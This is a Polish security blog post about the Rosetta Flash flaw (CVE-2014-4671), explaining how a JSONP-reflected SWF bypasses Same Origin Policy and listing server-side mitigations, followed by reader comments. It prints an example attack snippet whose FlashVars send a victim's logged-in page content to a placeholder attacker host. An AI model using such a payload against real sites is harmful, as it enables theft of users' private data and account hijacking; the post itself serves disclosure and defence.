9:24
9/7/2014

Radzimy wam jak najszybciej zakualizować Flasha — Adobe właśnie wypuściło poprawkę, która łata błąd odkryty przez Michele Spagnuolo. Poniżej opisujemy go w szczegółach. Atak pozwala na przejęcie kont, do których ofiara jest zalogowana w momencie, w którym odwiedzi stronę przygotowaną przez atakującego.

Rosetta Flash

Lukę nazwano Rosetta Flash (CVE-2014-4671) — wykorzystuje ona możliwość przekształcenia plików SWF z postaci binarnej do alfanumerycznej i dotyczy serwisów wykorzystujących JSONP (tzw. JSON z paddingiem).

rosettaflash_convert

Atak polega na przekazaniu alfanumerycznie zakodowanego SWF jako callback w żądaniu JSONP. Kod SWF-a jest następnie “odbijany” przez endpoint JSONP z powrotem do ofiary, dzięki czemu przeglądarka ofiary ładuje złośliwy aplet niejako z domeny wybranej przez atakującego. Dzięki temu trikowi można “ominąć” Same Origin Policy, czyli jeden z podstawowych mechanizmów gwarantujących bezpieczeństwo webaplikacji — innymi słowy, atakujący może “wejść” w sesję serwisu do którego zalogowana jest ofiara i wykonywać w jej imieniu żądania (przesyłane wraz z ciasteczkami użytkownika).

Jak przeprowadzić atak?

Wystarczy stworzyć plik HTML z odpowiednio przygotowanym apletem (jest do tego specjalny skrypt):

<object type="application/x-shockwave-flash"
data="https://dziurawastrona.pl/endpoint?callback=CWSMIKI0hCD0Up0IZUnnn...kod_SWF..."
style="display: none">
<param name="FlashVars"
value="url=https://dziurawastrona.pl/account/sensitive_content_logged_in
&exfiltrate=http://atakujacy.pl/log.php">
</object>

oraz ustawić plik crossdomain.xml dla hostującej kod ataku domeny tak, aby zezwalać na połączenia przychodzące z innych domen (wymagane aby odebrać wykradane z innych serwisów dane).

Idea ataku tak naprawdę była od jakiegoś czasu znana, ale z racji restrykcyjnych wymagań co do serializacji SWF ciężko było stworzyć kod exploita. Opublikowane teraz narzędzie korzysta m.in. z biblioteki zlib, algorytmu Huffmana oraz bruteforcingu sum kontrolnych ADLER32.

Moj strona korzysta z JSONP, co robić, jak żyć?

Jeśli chcesz chronić dane twoich klientów/użytkowników, którzy jeszcze nie zaktualizowali Flasha (a takich zawsze jest sporo), powinny wprowadzić drobne poprawki w kodzie, polegające albo na usunięciu JSONP z domen zawierających wrażliwe dane (wystarczy przenieść endpoint na dedykowaną “sandboksowaną” domenę) albo poprzedzić callbacki /**/ (tak robi Google, Facebook i GitHub.

Alternatywą jest też zmuszenie endpoita do zwracania następującego nagłówka HTTP, który wymusi ściągnięcie pliku (co jest wystarczające aby Flash Player nie parsował SWF):
Content-Disposition: attachment; filename=f.txt,

Dodatkowo, aby uniemożliwić atak na osoby korzystające z Chrome lub Opery, można zwracać nagłówek:
X-Content-Type-Options: nosniff
który spowoduje, że jeśli endpointy JSONP zwracają Content Type, który nie jest application/x-shockwave-flash (zazwyczaj zwracane jest application/javascript lub application/json) to Flash Player odmówi uruchomienia pliku SWF.

Jeśli interesuje cię tematyka dotycząca bezpieczeństwa aplikacji webowych i chciałbyś na żywo przećwiczyć ataki takie jak powyżej — zapraszamy na nasze sierpniowe szkolenie/warsztaty z Atakowania i Ochrony Webaplikacji — zostało jeszcze 6 wolnych miejsc, a przez najbliższe 2 tygodnie obowiązuje niższa cena za udział.

PS. Jeśli korzystasz z Google Chrome, polecamy podnieść poziom bezpieczeństwa przeglądarki włączając “click to play” na pluginach, oraz wykonując te kroki.

Przeczytaj także:

25 komentarzy

Dodaj komentarz
  1. Jak to zrobić na androidzie 4.2.2? Przez aplikację “Flash Player Settings” też się nie da.

  2. Podstawowe pytanie noba. Na linuxie działa?

  3. Trochę pogubiłem się… spreparowana strona “wymusza” ściągnięcie zawartości flash’a z serwera obsługującego żądania JSONP, ponieważ URL jest poprawnym formatem JSONP serwer wysyła callback zawierający odpowiedź, że żądanie “CWSMIKI0h…” (będące binarką flash’a) nie zwróciło dodatkowych danych. Flash interpretuje odpowiedź poprawnie jako binarkę SWF pochodzącą z domeny, do której zapytanie JSONP zostało wysłane otrzymując tym samym uprawnienia do odczytu plików cookie w ramach SOP. Dobrze zrozumiałem?

    • tak.
      JSONP musi odejść :)

  4. A flash wbudowany w Google chrome? Bezpieczny?

  5. Wejść w posiadanie ciasteczek? Really? Pokażcie to może na swoim szkoleniu.

    • Perfect :D

  6. Sprawdziliście moją wiadomość wysłaną z zakładki kontakt?:)
    Gadu Gadu zbagatelizowało problem, a tą metodą można chulać po czyimś koncie bez problemu.

  7. W Firefoksie też można sobie włączyć click to play. Może nie działa tak świetnie jak kiedyś w ‘starej’ Operze ale też daje radę :

    • Opera też ma “click to play”
      Ustawienia/Witryny/Wtyczki – ustawić: odtwarzaj po kliknięciu, w “Zarządzaj wyjątkami” dodać np. *youtube.com *vimeo.com itd.

  8. Co z cyklem “Poniedziałek z Prawnikiem”?

    • Pewnie prawnik na urlopie :)

  9. Czy bug występuje także we flashu od Shockwave?

  10. nie używam flash-a, nie mam problemu :)

  11. dzięki. działa : )

  12. Click to play per element, noscript i głowa na karku wystarczą.

  13. czy bug 🐛 występuje także we flashu od aparatu?

    • Tylko jeśli aparat trzyma Flash-bohater.

  14. Nadal nie rozumiem jak można wstrzyknąć taki object na stronę..

  15. Poprawcie mnie jeśli się mylę, ale nawet taki “wstrzyknięty” flash nie może przeczytać ciasteczek httponly. Co za tym idzie, o ile faktycznie mogą wyciekać dane prywatne, to przejęcie konta jest mało prawdopodobne i potrzebna jest tutaj “pomocna dłoń” ze strony developerów serwisu. Nie bardzo więc, rozumiem czemu w temacie jest “Jak przejmować konta…”

  16. […] techniczne dotyczące wykorzystania luki można znaleźć w Niebezpieczniku, poniżej natomiast zamieszczamy ranking ważności poprawek […]

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.